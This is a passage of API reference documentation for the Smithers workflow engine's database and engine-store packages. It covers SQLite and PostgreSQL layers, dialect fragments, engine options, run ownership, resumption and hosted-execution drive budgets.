Provides the production client and the production durable writer over a fresh,
isolated database. By default that is an in-memory SQLite database:
`:memory:` is private to a connection, so both halves share one connection and
serialization comes from the client's in-process transaction mutex rather than
from the database. When `SMITHERS_TEST_PG_URL` is set, the layer instead creates
a schema named `test_<uuid>` on that server and drops it when the layer's scope
closes. Never set `SMITHERS_TEST_PG_URL` to a production server.

`sqliteLayer` is the in-memory SQLite form alone, whatever the environment says.

### Fixture helpers

Each helper takes the test's `SqlClient` and works on SQLite and PostgreSQL.
They exist to build states production code refuses to write; never call them on
a production database.

| Helper                      | What it does                                                                                                                                                                       |
| --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `checks(sql, enabled)`      | Turns `CHECK` constraints off and back on. PostgreSQL drops the current schema's checks and re-adds them `NOT VALID`, so rows written while they were off stay.                    |
| `foreignKeys(sql, enabled)` | The same for foreign keys, so a fixture can hold orphaned rows.                                                                                                                    |
| `dropTrigger(sql, name)`    | Drops the trigger `name` wherever it is in the current schema. Unlike `Dialect.dropTrigger`, it needs no table name.                                                               |
| `catalog(sql)`              | A relation with SQLite's `sqlite_master` columns (`name`, `tbl_name`, `type`, `sql`) for asserting on tables, indexes and triggers.                                                |
| `explain(sql, statement)`   | The query plan of `statement` as `{ detail }` rows. On PostgreSQL sequential scans are disabled for the plan, so a small fixture still shows whether an index can serve the query. |
| `until(predicate)`          | Polls `predicate` every 2 ms and dies after 2000 polls without `true`.                                                                                                             |
| `dropSchema(sql, schema)`   | Drops a PostgreSQL test schema after taking its writer lock, so it waits for an in-flight transaction instead of deadlocking with it.                                              |

See [Test against a database](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/database/docs/guides/test-against-a-database.md).

## PostgresDatabase

`import { PostgresDatabase } from "@smthrs/database"`. The module bundles for
browsers and imports no socket code: the caller passes the `@effect/sql-pg`
module as `driver`. That driver connects through `node:net` and `node:tls`,
which Node, Bun and Cloudflare Workers with `nodejs_compat` provide.

### layer

```ts
const layer: (options: PostgresDatabaseOptions) => Layer.Layer<SqlClient.SqlClient>
```

Provides `SqlClient` over a connection pool. Compose `DurableWriter.layer()`
and the owning migration set on top, as with SQLite. A writable client creates
`schema` when it is absent. An invalid schema throws `UnsupportedDatabase`
with `postgres_schema_invalid` when `layer` is called; a connection failure
while the layer builds is a defect.

The client never changes session state, so it is correct behind a
transaction-pooling proxy such as Cloudflare Hyperdrive or PgBouncer with
`pool_mode=transaction`. Every statement runs inside a transaction that sets
`search_path` to `schema` for that transaction only (`SET LOCAL`):

| Statement                        | Transaction                                                                                                   |
| -------------------------------- | ------------------------------------------------------------------------------------------------------------- |
| inside `withTransaction`         | `READ COMMITTED READ WRITE`, then the schema's writer lock, taken before any statement of the body            |
| inside `withTransaction`, nested | a savepoint in the enclosing transaction                                                                      |
| outside a transaction            | its own `READ COMMITTED READ WRITE` transaction, without the writer lock; a stream commits after its last row |
| any, on a `readOnly` client      | `REPEATABLE READ READ ONLY`, never the writer lock                                                            |

A statement outside a transaction therefore costs `BEGIN`, the schema and
`COMMIT` around it. A statement prepared by name is session state too, so
every statement goes out unnamed. Cloudflare Hyperdrive drops a connection
that closes a named statement, which `@effect/sql-pg` does once its
100-statement cache is full. PostgreSQL answers `COMMIT` in a transaction a caught
statement failure aborted with `ROLLBACK`; the client fails that transaction
with `SqlError` instead of reporting it committed.

A write waits for the writer lock at most `writerLockTimeout` at a time, so a
long queue of writers never holds every server connection a pooler grants.
A wait that runs out rolls the transaction back, letting its connection go,
counts once in `DatabaseMetrics.writerLockTimeouts`, and tries again after a
jittered backoff from half the timeout to four times it. The limit is
`SET LOCAL lock_timeout`, so any lock the write waits on longer afterwards fails
with `lock_not_available`, which `DurableWriter` retries.

### defaultAcquireWarning

```ts
const defaultAcquireWarning: Duration.Duration
```

Ten seconds: how long a wait for a pooled connection runs before it logs a
`postgres.connection.waiting` warning, unless `acquireWarning` says otherwise.
`DatabaseMetrics.connectionWait` times every wait.

### defaultWriterLockTimeout

```ts
const defaultWriterLockTimeout: Duration.Duration
```

Two seconds: how long one wait for the writer lock holds a server connection
unless `writerLockTimeout` says otherwise. It is well under the 15 seconds
Cloudflare Hyperdrive lets a client wait for a connection before closing it.

### PostgresDatabaseOptions

```ts
interface PostgresDatabaseOptions {
  readonly url: string
  readonly driver: Driver
  readonly schema?: string | undefined
  readonly postgres?:
    | Omit<Pg.PgClient.PgPoolConfig, "url" | "types" | "prepare" | "preparedStatementCacheSize">
    | undefined
  readonly readOnly?: boolean | undefined
  readonly writerLockTimeout?: Duration.Input | undefined
  readonly acquireWarning?: Duration.Input | undefined
}
```

| Field               | Meaning                                                                                                                                                                                                                                                                                   |
| ------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `url`               | The connection URL. It reaches the driver as a `Redacted` value. For Hyperdrive, pass the binding's `connectionString`.                                                                                                                                                                   |
| `driver`            | The `@effect/sql-pg` module: `import * as Pg from "@effect/sql-pg"`, then `driver: Pg`.                                                                                                                                                                                                   |
| `schema`            | Defaults to `smithers_flows`. It must be 1 to 63 UTF-8 bytes without NUL.                                                                                                                                                                                                                 |
| `postgres`          | Effect PostgreSQL pool and connection options. Smithers owns the type registry, which reads integers back as exact JavaScript numbers, and turns named prepared statements off.                                                                                                           |
| `readOnly`          | Reads an existing schema without creating it or taking the writer lock; every transaction is `READ ONLY`.                                                                                                                                                                                 |
| `writerLockTimeout` | How long one wait for the writer lock may hold a server connection; `defaultWriterLockTimeout` when unset. A zero duration tries the lock once per attempt; an infinite one waits without limit.                                                                                          |
| `acquireWarning`    | How long a statement or transaction waits for a pooled connection before a `postgres.connection.waiting` warning says so; `defaultAcquireWarning` when unset. The wait goes on, with the caller's interruptibility, so a finalizer's write still commits after its caller is interrupted. |

### Driver

```ts
type Driver = Pick<typeof Pg, "PgClient" | "PgTypes">
```

The two `@effect/sql-pg` modules the adapter drives: `PgClient` for the pool
and statement compiler, and `PgTypes` for the numeric codecs.

`UnsupportedDatabase`, `UnsupportedDatabaseCode` and `isUnsupportedDatabase`
are re-exported here, so a Worker matches a refusal without a SQLite driver.

```ts
import * as Pg from "@effect/sql-pg"
import { DurableWriter, PostgresDatabase } from "@smthrs/database"
import { Layer } from "effect"

const database = (connectionString: string) =>
  Layer.provideMerge(
    DurableWriter.layer(),
    PostgresDatabase.layer({ url: connectionString, driver: Pg, schema: "smithers_flows" })
  )
```

See [configuration and isolation](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/database/docs/concepts/sqlite-only.md).

## Dialect

`import * as Dialect from "@smthrs/database/Dialect"`.

SQL fragments that let one store and one migration run on SQLite and
PostgreSQL. Each takes the store's `SqlClient` and emits the form for its
backend. Fragments that accept names, paths or trigger text splice them into
SQL unescaped: pass only constants the store owns.

| Export                          | SQLite                                      | PostgreSQL                                                |
| ------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
| `isPostgres(sql)`               | `false`                                     | `true`                                                    |
| `isReadOnly(sql)`               | `true` for a `readOnly` open                | `true` for a `readOnly` open                              |
| `integer(sql)`                  | `INTEGER`                                   | `NUMERIC`, so a fractional write is kept and rejected     |
| `isInteger(sql, value)`         | `typeof(value) = 'integer'`                 | `trunc(value) = value`                                    |
| `jsonValid(sql, value)`         | `json_valid(value)`                         | `value IS JSON`                                           |
| `jsonText(sql, value, path)`    | `json_extract(value, path)`                 | `value::jsonb #>> '{…}'`                                  |
| `identity(sql)`                 | `INTEGER PRIMARY KEY AUTOINCREMENT`         | `BIGINT GENERATED BY DEFAULT AS IDENTITY PRIMARY KEY`     |
| `rowId(sql)`                    | empty: every table has a `rowid`            | `rowid BIGINT GENERATED ALWAYS AS IDENTITY UNIQUE,`       |
| `greatest(sql)`                 | `MAX`                                       | `GREATEST`                                                |
| `indexHint(sql, name)`          | `INDEXED BY name`                           | empty                                                     |
| `tables(sql)`                   | tables in `sqlite_master`                   | tables in the current schema                              |
| `columns(sql, table)`           | `PRAGMA table_info`                         | `information_schema.columns` in the current schema        |
| `trigger(sql, options)`         | `CREATE TRIGGER … BEGIN … END`              | a `<name>_fn` function and a row trigger                  |
| `dropTrigger(sql, name, table)` | `DROP TRIGGER name`                         | `DROP TRIGGER name ON table`                              |
| `query(sql, template, values)`  | runs `template` with `?` placeholders       | rewrites each `?` to `$1`, `$2`, …                        |
| `readTransaction(sql, effect)`  | a deferred `BEGIN` on a reserved connection | `REPEATABLE READ READ ONLY`, opened by `PostgresDatabase` |

`jsonText` reads a string member as the same text on both backends. Other
scalars differ: SQLite returns JSON `true` as the integer `1` and numbers as
numbers, PostgreSQL returns the text `'true'` and `'7'`. Compare a boolean
member against both forms.

`readTransaction` runs `effect` as one read transaction: every statement in it
reads one snapshot, and it takes no writer lock, so a writer may commit while
it reads. Inside a transaction already, `effect` joins it. Every statement on a
`PostgresDatabase` reserved connection runs as its own transaction, so that
client opens the read transaction itself; any other PostgreSQL client reads at
`REPEATABLE READ READ ONLY` on a reserved connection. Keep writes out of
`effect`: PostgreSQL refuses them, and on SQLite one takes the write lock.

`trigger` rejects a row with `reject` as its message (a constraint failure on
both backends), skips it with `ignore: true`, or runs `body`; `when` limits it
to rows where the condition holds. `query` does not parse SQL, so its template
must not contain `?` anywhere but a placeholder.

---

# @smthrs/engine-store
https://smithers.sh/docs/reference/api/engine-store/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/engine-store/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/engine-store/docs)

> **Related APIs:** [`@smthrs/artifacts`](/docs/reference/api/artifacts/) · [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/capability`](/docs/reference/api/capability/) · [`@smthrs/crypto`](/docs/reference/api/crypto/) · [`@smthrs/database`](/docs/reference/api/database/) · [`@smthrs/engine`](/docs/reference/api/engine/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/kernel`](/docs/reference/api/kernel/) · [`@smthrs/keys`](/docs/reference/api/keys/) · [`@smthrs/plan`](/docs/reference/api/plan/) · [`@smthrs/plan-store`](/docs/reference/api/plan-store/) · [`@smthrs/run-store`](/docs/reference/api/run-store/) · [`@smthrs/step-cache`](/docs/reference/api/step-cache/)

The durable `FlowEngine`. It claims a run before driving it, fences every write
against the current owner, and persists attempts, waits, and terminal results
through [`@smthrs/journal`](/docs/reference/api/journal/),
[`@smthrs/run-store`](/docs/reference/api/run-store/), and
[`@smthrs/step-cache`](/docs/reference/api/step-cache/). It owns the durable deferred and clock
tables and composes every package's migration set.

```ts
import { EngineStore, StepBoundary } from "@smthrs/engine-store"

const engine = EngineStore.layer({
  owner: { hostId: "worker-a" },
  journalSource: "worker-a"
})
```

## Entry point

| Import                 | Source                                                                                                             | Platform         |
| ---------------------- | ------------------------------------------------------------------------------------------------------------------ | ---------------- |
| `@smthrs/engine-store` | [src/index.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/index.ts) | Node and browser |

Every namespace below is also importable from `@smthrs/engine-store/<Module>`.
`@smthrs/engine-store/internal/*`, `@smthrs/engine-store/migrations/*`, and
`@smthrs/engine-store/*/index` are blocked in the export map.

Shared versioned event schemas are public at `@smthrs/journal/EngineEvent`; see
[state and event authority](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/journal/docs/concepts/state-event-authority.md).
Engine adapters `TypedEvents`, `AttemptLifecycle`, and `ResultEnvelope` remain
internal. They are additive contracts: current writers retain their bytes, and
the disclosed attempt projection does not replace executable recovery stores.

### Bundling is not running

This entry point bundles for a browser. The two host reads it once made
directly, `process.pid` and `randomUUID` from `node:crypto`, enter through the
injectable [`OwnerIdentity`](#owneridentity) service, and everything it
composes, `@smthrs/crypto`, `@smthrs/flow`, `@smthrs/journal`,
`@smthrs/run-store`, `@smthrs/step-cache`, `@smthrs/database`,
`@smthrs/kernel`, and `@smthrs/engine`, is browser-bundleable too. A release
that broke the bundle would fail the build before it shipped.

The durable stores accept an injected SQL client and `DurableWriter`. Native
Node.js and Bun compositions use SQLite or the shipped PostgreSQL adapter;
`NodeDatabase.layer` selects PostgreSQL for a PostgreSQL URL, and
`PostgresDatabase` from the `@smthrs/database` root supports direct injection
with the `@effect/sql-pg` driver passed in. Browser
bundling does not supply a durable browser driver or qualify browser execution.
PostgreSQL storage alone does not qualify a canonical backend deployment:
artifacts, workspaces, and native process state still need durable host storage.
See [database configuration](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/database/docs/concepts/sqlite-only.md)
and [platform support](/docs/reference/api/#platform-support).

## EngineStore

[src/EngineStore.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/EngineStore.ts)

The production durable composition.

`flow.start`, `flow.ensure`, and `execute` with `discard: true` durably admit
an execution and schedule its drive before returning its id. They do not wait
for the child's action, durable wait, or settlement, including when launched
from inside another action. The driver owns the scheduled drive in its engine
scope; ending the caller's action or round does not interrupt it. A discarded
child records `onParentExit: "detach"`, so normal parent completion leaves it
running. Explicit parent cancellation still cascades to linked children.

Observe progress with `poll(id)`, or await the result with
`execute(payload, { executionId: id })`. Callers that need a durable waiting
row or attempt receipt must await that evidence explicitly. Closing the engine
scope releases ownership and retains durable admission and progress for
recovery by a replacement host. Under the default `"process"` sweep, the
heartbeat sweep recovers pending admissions
through the same coordinator and fenced claim/activate path;
unregistered flows wait for a host that registers them. Pending recovery scans
at most 64 rows per sweep and rotates registered flows. Each scan cycle has a
fixed creation-time/id upper bound, so new admissions cannot postpone retrying
refused work indefinitely. Recovery only selects admissions older than the stale
heartbeat interval, giving a live admitting host time to claim its own work. Storage
failures remain visible and are retried by the heartbeat sweep.

Cancellation is logical-run scoped: `Flow.interrupt(id)` accepts any round ID
and records intent across its trampoline lineage and linked child lineages in
one transaction. Children attached to an earlier parent round remain included;
time-travel fork ancestry alone is not child ownership. Handoff admission checks
cancellation in that same transaction domain, so a successor cannot escape a
request by racing its creation.

The request commits before local interrupt delivery. Returning from `interrupt`
acknowledges intent, not finished user cleanup or a remote owner's settlement.
Owners on other connections observe durable intent through their cancellation
polls. Completed predecessor history remains unchanged. On normal parent exit,
`onParentExit` belongs to the child's creating round and is retained through its
handoffs; explicit cancellation still cascades to linked children.

| Export                  | Signature                                                                                                                           | Meaning                                                                                                        |
| ----------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- |
| `Options`               | interface                                                                                                                           | Construction options. See below.                                                                               |
| `make`                  | `(options: Options) => Effect<FlowRuntime["Service"], never, Requirements>`                                                         | Builds the `FlowRuntime` service the port in [`@smthrs/flow`](/docs/reference/api/flow/) declares.                             |
| `layer`                 | `(options: Options) => Layer<SnapshotBoundary \| FlowRuntime, never, Requirements>`                                                 | Provides both, using the ambient `Jj` for action bodies and engine bookkeeping.                                |
| `layerWithPrivilegedJj` | `(options: Options, privilegedJj: Layer<Jj, E, R>) => Layer<SnapshotBoundary \| FlowRuntime, E, Requirements \| R>`                 | The same, with a private repository for engine bookkeeping while ambient `Jj` stays for action bodies.         |
| `Sweep`                 | `"process" \| { readonly host: string }`                                                                                            | Who wakes the store's runs. See `Options.sweep`.                                                               |
| `nextWake`              | `(executionId: string) => Effect<Option<number>, RunStoreError, RunStore \| DurableEngineState>`                                    | When a host must next drive the execution, in epoch milliseconds. See [Hosted executions](#hosted-executions). |
| `Driven`                | `{ _tag: "Settled"; status } \| { _tag: "Parked"; wakeAtMs: number \| undefined } \| { _tag: "Unfinished" } \| { _tag: "Yielded" }` | What one `drive` left an execution as.                                                                         |
| `DriveOptions`          | `{ executionId: string; payload: object; budgetMs?: number; holdMs?: number }`                                                      | What `drive` drives, with an optional budget and hold. See [Drive budget](#drive-budget).                      |
| `Driver`                | `Context.Service<{ drive }>`                                                                                                        | Provided by `layer` and `layerWithPrivilegedJj` beside `FlowRuntime`.                                          |
| `drive`                 | `(flow: Flow.Any, options: DriveOptions) => Effect<Driven, FlowCycleDetected \| RunStoreError, Driver>`                             | Drives one execution once, for its host. See [Hosted executions](#hosted-executions).                          |

### EngineStore.Options

| Field                  | Type                                                   | Meaning                                                                                                                                                                                                                                                                                                                                                                                      |
| ---------------------- | ------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `owner.hostId`         | `string`                                               | This engine's stable host identity. Which host a store speaks for is a composition decision, not a host fact.                                                                                                                                                                                                                                                                                |
| `journalSource`        | `string`                                               | The source id every record this engine writes carries.                                                                                                                                                                                                                                                                                                                                       |
| `isAlive`              | `Ownership.LivenessCheck` (optional)                   | Liveness arbitration consulted before stealing a run whose lease expired. Answering `true` refuses the takeover. Defaults to `Ownership.leaseLiveness(Ownership.heartbeatStaleAfter)`. A supplied check is also asked about a same-host owner with another pid while its lease is fresh; `false` takes the run at once.                                                                      |
| `canExecute`           | `(row: RunStore.RunRow) => Effect<boolean>` (optional) | Host admission before claiming, including automatic wakes.                                                                                                                                                                                                                                                                                                                                   |
| `canActivate`          | `(row: RunStore.RunRow) => Effect<boolean>` (optional) | Read-only admission fence rechecked inside the native activation transaction. Use the same consent and ownership policy as preflight; keep module loading and external I/O in `canExecute`. A refusal abandons the claim without dispatching the body.                                                                                                                                       |
| `clockFireRetryPolicy` | `Schedule<unknown, unknown>` (optional)                | Redispatch policy for a durable clock whose fire failed. Defaults to exponential from 100ms capped at 30s, forever, the same option shape as the engine's `suspendedRetryPolicy`.                                                                                                                                                                                                            |
| `requestResume`        | `(executionId, reason) => Effect<void>` (optional)     | Called for every wake this engine initiates against a PARKED execution: `"deferred"` (a durable deferred completed), `"clock"` (a durable clock fired), `"parent"` (a child settled under a parent parked on it). An operator's own resume is not reported. A host that refuses to re-enter a parked run nobody asked for reads it to tell an engine wake from its own heartbeat sweep.      |
| `sweep`                | `Sweep` (optional)                                     | Who wakes this store's runs. `"process"`, the default, sweeps the store every heartbeat interval and renews each owned run's lease. `{ host: executionId }` runs no sweep and renews no lease, and registration re-arms only that execution's clocks and completions. See [Hosted executions](#hosted-executions).                                                                           |
| `resumeConcurrency`    | `number` (optional)                                    | How many runs the engine resumes on its own at once: runs its sweep reclaims (released, stale `running`, pending admissions, due timers) and runs a host drives with `EngineStore.drive`. The rest wait in the order asked. A run started or awaited with `execute`, or woken by an event, never waits, even if it is waiting its turn. Absent is no bound. See [Resume lane](#resume-lane). |
| `placement`            | `string` (optional)                                    | Where this store's runs run, as their usage metrics label it (`@smthrs/flow` `RunMetrics`): `browser`, `cloudflare`, `sandbox` or `local`, the default; any other value reads `other`. The engine counts each run it admits and settles, its steps, retries and durable waits, and keeps the caller's `RunMetrics.CurrentOrigin` with the run.                                               |

### Required services

`Journal`, `DurableWriter`, `RunStore`, `AttemptStore`, `CacheStore`, Effect's `Crypto`,
`DurableEngineState`, kernel `Jj`, `StepBoundary`, `OwnerIdentity`, and a
`Scope`. A composition failure is an unmet `Requirements` type at compile time,
so there is no run-time composition error to handle.

[`WorkspaceSandbox`](#workspacesandbox) and its `EffectDispatcher` are optional
and are resolved at construction, because `actionExecute` runs on the engine's
own fiber, which does not carry the store's layer context. `StepSandbox`,
`WakeBus`, `ArtifactSync`, `CacheSync`, `Inconsistency`, `Reconciliation`,
[`ReplayOnly`](#replayonly), and `Selection` are optional in the same way.

### Behavior

The engine stores a versioned state envelope in each run row, fences run and
attempt ownership, replays encoded exits, and writes engine decisions to the
journal. Cache addresses are the injected `Sha256` transformation of the step
key, not the raw `key1_...` value.

An action's `CachePolicy.ttlMs` records one age-admission decision per run,
step key, and cached provenance. Resuming that decision preserves its verdict
even when the clock crosses the bound in either direction. A conflicting
journal record proves the opposite verdict only when an exact retry of that
opposite record returns `Duplicate`. An incompatible TTL or copied history
with different lineage metadata instead fails with `JournalError` code
`idempotency_conflict`, before output replay, cache eviction, or body dispatch.
Changing TTL before a decision exists remains allowed. Omitting `ttlMs` is
unbounded only before a durable age verdict exists for this run and step.
Removing `ttlMs` after a recorded verdict fails with `idempotency_conflict`,
even if the cache head was evicted or replaced. Recovery must retain the
original TTL and history identity, or use a new action or run identity as
appropriate. No persisted keys or journal producer identities are rewritten.

Durable cancellation is observed, not just recorded: while a run executes, the
driver polls `cancel_requested_at_ms` on the heartbeat cadence and cancels the
run when another process has called `RunStore.requestCancel`. Terminal
transitions are additionally guarded with `{ cancelRequested: "absent" }` inside
the ownership compare-and-swap.

Under the default `"process"` sweep, the driver's periodic sweep re-drives
durable shapes on the heartbeat cadence: pending admissions, parked runs whose cancellation was durably requested,
runs parked with reason `released`, and stale `running` rows left by a hard-killed
owner. Each
re-enters the ordinary claim, steal, and activate path. A wake for a flow the
sweeping process has not registered logs a once-per-run structured warning and
leaves the durable waiting row parked.

### Resume lane

`resumeConcurrency` bounds how many of those re-drives run at once, together
with every drive a host asks for through `EngineStore.drive` of a run the store
already holds. They are resumptions: the engine finds work left over from an
owner that stopped, and nobody is waiting on it yet. The rest wait in the order
they were asked for, and each takes the next free turn.

Anything else drives at once and holds no turn: `execute` of a new run or one
the store holds, a join, a wake from a durable deferred, a clock or a child, and
the sweep's delivery of a requested cancellation. If the run is still waiting
its turn, that request starts its drive at once and takes it out of the queue.
`interrupt` of a waiting run starts its drive at once, which delivers the
cancellation; so does the sweep that finds a cancellation requested for a
pending run. A cancellation another process records for a stale `running` run
still waiting its turn reaches it when that turn comes. A waiting run is
active, so the sweep does not ask for it twice. A resumed run holds its turn until its drive settles or
parks, so two resumed runs inside long steps hold the rest back until one of
them ends.

A host whose store has one connection, such as `@smthrs/platform-browser`'s
leader, sets it so a backlog of resumed runs leaves a newly started run a turn
at the connection. Without it every resumption starts at once, as before.

Every lifecycle journal write, run decisions, attempt started and finished, hard
violations, snapshot identity, cache provenance, deferred completions, clock
schedules, interruption records, and the `Inconsistency` cache-conflict record,
takes the journal's durable channel (`emitDurable`), so a saturated lossy queue
can never drop one. Attempt lifecycle writes additionally pass the owner: a
reclaimed owner fails with `fence_lost` and self-interrupts instead of
appending.

Every action body runs under its attempt's ownership fence,
`@smthrs/flow`'s `Action.CurrentFence`: the run, the step key digest, the
attempt number, and this engine's owner. A body that writes its own tables adds
`@smthrs/run-store`'s `RunStore.owned` for that fence to its statement, so the
write changes nothing once another incarnation has taken the run or the
attempt has settled.

### Hosted executions

`sweep: { host: executionId }` is for a host that drives one execution per
invocation and wakes it from outside, such as a Cloudflare Durable Object
alarm. The engine then starts no sweep fiber and renews no lease, so every
fiber it starts belongs to a drive or to a clock timer in the runtime's scope,
and closing that scope ends them. Registering a flow re-arms only the hosted
execution's pending clocks and re-schedules only its unconsumed completions.

The host owns three things the sweep and the lease did:

1. **Liveness.** Supply an `isAlive` that answers `false` for an earlier
   incarnation of the same host, and draw each incarnation's number with
   `OwnerIdentity.layerWithoutPid`. A new incarnation then takes a crashed
   one's run at once, adopts its running attempt, and the old incarnation's
   fenced writes change nothing.
2. **Routing.** Every other engine over the same store routes the hosted
   execution away with `canExecute`. Its lease is not renewed, so a process
   engine would reclaim it once `Ownership.heartbeatStaleAfter` passes.
3. **The next invocation.** Drive the execution with `drive(flow, { executionId,
   payload })`. It admits an execution the store does not hold, drives one it
   holds only when work is due, and returns without waiting for the run to
   settle: `Settled`, `Parked` with `wakeAtMs`, `Unfinished` when work is
   due that the drive did not do, or `Yielded` when it spent its budget
   ([Drive budget](#drive-budget)). Arm the next invocation at `wakeAtMs`,
   after a backoff for `Unfinished`, or at once for `Yielded`. A drive that finds the last round of a
   lineage `Settled` records the wake of each parent still waiting on it
   again, without scheduling a wake already recorded, so an invocation that
   died between a child's settlement and its parent's wake record loses no
   wake. `nextWake(executionId)` answers the same question without driving:

| Answer                                   | Meaning                                                                                                                                                                                                                                 |
| ---------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Option.none()`                          | Nothing wakes the execution by itself: it settled, does not exist, is quarantined until an operator resumes it, or is parked on an event whose completion has not arrived. That completion's writer reports it through `requestResume`. |
| `Option.some(at)`, `at` at or before now | There is work now: an unconsumed completion or a due clock, a cancellation request, a run released by an interrupted drive, or an admission nobody drove.                                                                               |
| `Option.some(at)`, later                 | The earliest pending `DurableClock` of a parked run, or when another owner's claim or lease lapses.                                                                                                                                     |

`nextWake` fails with the `RunStoreError` the run store raises for a read it
cannot make; an unknown id is `Option.none()`.

A store that becomes unavailable while an attempt is admitted, run or recorded
(a lost connection, an I/O failure, a database restart) does not decide the
attempt's outcome. The dispatch interrupts itself, as it does on a lost fence,
so the attempt row stays `running` and the run is released. The next drive
adopts the attempt and records its result. Each one counts on
`EngineStoreMetrics.storageUnavailable` and logs a warning naming the store's
error code.

#### Drive budget

A host whose invocations have a hard time limit passes `budgetMs`. A run with
enough work never parks by itself, so without a budget the drive runs until the
platform kills the invocation, and the next one takes the run from the dead
incarnation and runs its unfinished step again.

- `budgetMs` is measured on the effect `Clock` from the drive's start.
- A step is an attempt no record answered: a fresh one, or an orphaned one the
  drive adopts. Replays and cache hits are not steps and run regardless.
- A step that starts within the budget runs to the end and records its
  result, however long it takes.
- Once the budget is spent, the next step is held without an attempt row. When
  no step is running, the drive releases the run (an `interrupt-released`
  decision with cause `{ kind: "yielded" }`) and reports `Yielded`. The run is
  `suspended` with waiting reason `released` and owner `null`, so the next
  drive claims it like any due run; nothing judges it dead.
- An action a running step calls is part of that step and is never held.
- The first step of a drive is never held, so a budget shorter than the run's
  replay, or than one step, still moves the run one step per drive.
- A run that settles or parks within the budget reports `Settled` or `Parked`.

Set the budget at the invocation's limit less the longest step it may start.
Each yield counts on `EngineStoreMetrics.driveYields` and logs
`engine-store: drive yielded its budget at a step boundary` with the budget and
the elapsed time.

A run its own flow parks on a wake due within `holdMs` (`defaultHoldMs`, five
seconds, unless set), such as a durable sleep of a second or a clock that came
due as the park committed, is driven again by the same drive once the wake is
due, while the budget lasts: its host would otherwise build its runtime, claim
the run and replay it in a new invocation to do the same. A wake past the hold
or the budget's end is handed back as `Parked`; `holdMs: 0` hands every park
back. Each such drive counts on `EngineStoreMetrics.heldDrives`. A drive that
still leaves work due logs `engine-store.drive.unfinished` with the run's
status and whether a claim or an owner holds it, never its state.

Full model: [Ownership and fencing](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/concepts/ownership-and-fencing.md) and
[Attempts and replay](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/concepts/attempts-and-replay.md).

## DurableEngineState

`PendingRunCursor` contains `{ createdAtMs: number; runId: string }`. Pending
queries return rows after `after` and at or before `through`, ordered by those
fields. An optional `eligibleBeforeMs` limits results to older admissions.
`pendingRunTail` captures the upper bound of a recovery scan cycle.
`pendingCancellationRuns` and `pendingCancellationTail` use the same cursors
for explicitly requested cancellations, independent of registered handlers.
Their partial index excludes settled and unrequested admissions; cleanup has
no admission grace and still requires workspace admission and ownership fencing.
`limit` must be zero or a positive safe integer; other values defect with `RangeError`.

[src/DurableEngineState.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/DurableEngineState.ts)

Durable deferreds, clocks, waiting rows, and the run parent DAG. This package
owns deferred and clock state for 1.0. A successful mutation means the row is
durable, so callers may journal and schedule a wake only after the mutation
returns.

Work that needs both this state and the journal opens `transaction` OUTSIDE
`Journal.transact`, never the other way around. The SQL implementation shares
the journal's writer and cannot tell the difference, but `makeMemory` has a
permit of its own, and taking the journal's writer first while waiting for that
permit deadlocks against a fiber doing the opposite.

| Export                           | Signature                                                      | Meaning                                                                       |
| -------------------------------- | -------------------------------------------------------------- | ----------------------------------------------------------------------------- |
| `DurableEngineState`             | `Context.Service<Service>`                                     | Service tag.                                                                  |
| `Service`                        | interface                                                      | The operations below.                                                         |
| `make`                           | `Effect<Service, never, DurableWriter \| SqlClient>`           | The SQL implementation.                                                       |
| `layer`                          | `Layer<DurableEngineState, never, DurableWriter \| SqlClient>` | Provides it.                                                                  |
| `makeMemory`                     | `(options?: MemoryOptions) => Service`                         | Deterministic in-memory implementation.                                       |
| `layerMemory`                    | `Layer<DurableEngineState>`                                    | Provides it.                                                                  |
| `MemoryOptions`, `MemoryRunView` | interfaces                                                     | Optional `runs` lookup so the memory twin enforces the same ownership fences. |

### Service members

| Member                    | Signature                                                                                                                                                        |
| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `deferred`                | `(address: DeferredAddress) => Effect<Option<DeferredRow>>`                                                                                                      |
| `consumeDeferred`         | `(address: DeferredAddress, consumedAtMs: number) => Effect<void>`                                                                                               |
| `completeDeferred`        | `(row: DeferredRow) => Effect<CompleteDeferredOutcome>`                                                                                                          |
| `clock`                   | `(address: ClockAddress) => Effect<Option<ClockRow>>`                                                                                                            |
| `scheduleClock`           | `(row: ClockRow, owner: OwnerId) => Effect<ScheduleClockOutcome>`                                                                                                |
| `completeClock`           | `(address: ClockAddress, completedAtMs: number) => Effect<CompleteClockOutcome>`                                                                                 |
| `dueClocks`               | `(nowMs: number) => Effect<ReadonlyArray<ClockRow>>`                                                                                                             |
| `completeRunClocks`       | `(executionId: string, completedAtMs: number) => Effect<void>`                                                                                                   |
| `pendingClocks`           | `(scope: { executionId?: string; flowName?: string }) => Effect<ReadonlyArray<ClockRow>>`                                                                        |
| `completedDeferreds`      | `(flowName: string) => Effect<ReadonlyArray<DeferredAddress>>`                                                                                                   |
| `park`                    | `(runId: string, waiting: Waiting, owner: OwnerId) => Effect<ParkOutcome>`                                                                                       |
